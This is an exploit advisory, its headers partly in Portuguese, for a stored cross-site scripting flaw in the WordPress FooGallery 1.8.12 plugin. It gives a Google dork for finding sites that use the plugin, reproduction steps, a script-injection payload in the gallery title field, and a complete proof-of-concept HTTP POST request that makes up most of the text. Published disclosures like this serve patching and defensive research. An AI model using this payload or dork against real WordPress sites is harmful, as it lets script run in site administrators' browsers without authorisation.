WordPress FooGallery 1.8.12 – Persistent Cross-Site Scripting

# Exploit Title: WordPress FooGallery 1.8.12 – Script persistente entre sites
# Google Dork: inurl: “\ wp-content \ plugins \ foogallery”
# Data: 2019-06-13
# Exploit Autor: Unk9vvN
# Página inicial do fornecedor: https://foo.gallery/
# Link do software: https://wordpress.org/plugins/foogallery/
# Versão: 1.8.12
# Testado em: Kali Linux
# CVE: N / D

# Descrição
# Esta vulnerabilidade está no modo de validação e está localizada no painel de configurações do plug-in e o tipo de vulnerabilidade é armazenado. Ocorreu porque na configuração é uma tag select, essa tag select tem opção com valor de galerias de títulos. Simplesmente precisamos apenas quebrar opção e escreva nossa tag de script
os parâmetros de vulnerabilidade são os seguintes.

1. Vá para a ‘adicionar Galeria’ do FooGallery
2.Insira a carga no “adicionar título”
3.Clique na opção “Publicar”
Vá para a configuração de plug-in do FooGallery
5.Sua carga útil será executada

# URI: http://localhost/wordpress/wp-admin/post-new.php?post_type=foogallery&wp-post-new-reload=true
# Parameter & Payoad: post_title="/><script>alert("Unk9vvn")</script>


#
# POC
#
POST /wordpress/wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post-new.php?post_type=foogallery&wp-post-new-reload=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 2694
Cookie: ......
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

_wpnonce=933471aa43&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fpost-new.php%3Fpost_type%3Dfoogallery&user_ID=1&action=editpost&originalaction=editpost&post_author=1&post_type=foogallery&original_post_status=auto-draft&referredby=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dfoogallery%26ids%3D31&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit.php%3Fpost_type%3Dfoogallery%26ids%3D31&auto_draft=&post_ID=32&meta-box-order-nonce=5e054a06d1&closedpostboxesnonce=03e898cf80&post_title=%22%2F%3E%3Cscript%3Ealert%28%22Unk9vvn%22%29%3C%2Fscript%3E&samplepermalinknonce=fc4f7ec2ab&hidden_post_status=draft&post_status=draft&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=09&jj=13&aa=2019&hh=14&mn=42&ss=45&hidden_mm=09&cur_mm=09&hidden_jj=13&cur_jj=13&hidden_aa=2019&cur_aa=2019&hidden_hh=14&cur_hh=14&hidden_mn=42&cur_mn=42&original_publish=Publish&publish=Publish&foogallery_sort=&foogallery_clear_gallery_thumb_cache_nonce=e18d32a542&_thumbnail_id=-1&_foogallery_settings%5Bfoogallery_items_view%5D=manage&foogallery_nonce=b6066e6407&foogallery_attachments=&foogallery_preview=e35a011572&foogallery_template=default&_foogallery_settings%5Bdefault_thumbnail_dimensions%5D%5Bwidth%5D=150&_foogallery_settings%5Bdefault_thumbnail_dimensions%5D%5Bheight%5D=150&_foogallery_settings%5Bdefault_thumbnail_link%5D=image&_foogallery_settings%5Bdefault_lightbox%5D=none&_foogallery_settings%5Bdefault_spacing%5D=fg-gutter-10&_foogallery_settings%5Bdefault_alignment%5D=fg-center&_foogallery_settings%5Bdefault_theme%5D=fg-light&_foogallery_settings%5Bdefault_border_size%5D=fg-border-thin&_foogallery_settings%5Bdefault_rounded_corners%5D=&_foogallery_settings%5Bdefault_drop_shadow%5D=fg-shadow-outline&_foogallery_settings%5Bdefault_inner_shadow%5D=&_foogallery_settings%5Bdefault_loading_icon%5D=fg-loading-default&_foogallery_settings%5Bdefault_loaded_effect%5D=fg-loaded-fade-in&_foogallery_settings%5Bdefault_hover_effect_color%5D=&_foogallery_settings%5Bdefault_hover_effect_scale%5D=&_foogallery_settings%5Bdefault_hover_effect_caption_visibility%5D=fg-caption-hover&_foogallery_settings%5Bdefault_hover_effect_transition%5D=fg-hover-fade&_foogallery_settings%5Bdefault_hover_effect_icon%5D=fg-hover-zoom&_foogallery_settings%5Bdefault_caption_title_source%5D=&_foogallery_settings%5Bdefault_caption_desc_source%5D=&_foogallery_settings%5Bdefault_captions_limit_length%5D=&_foogallery_settings%5Bdefault_paging_type%5D=&_foogallery_settings%5Bdefault_custom_settings%5D=&_foogallery_settings%5Bdefault_custom_attributes%5D=&_foogallery_settings%5Bdefault_lazyload%5D=&post_name=&foogallery_custom_css=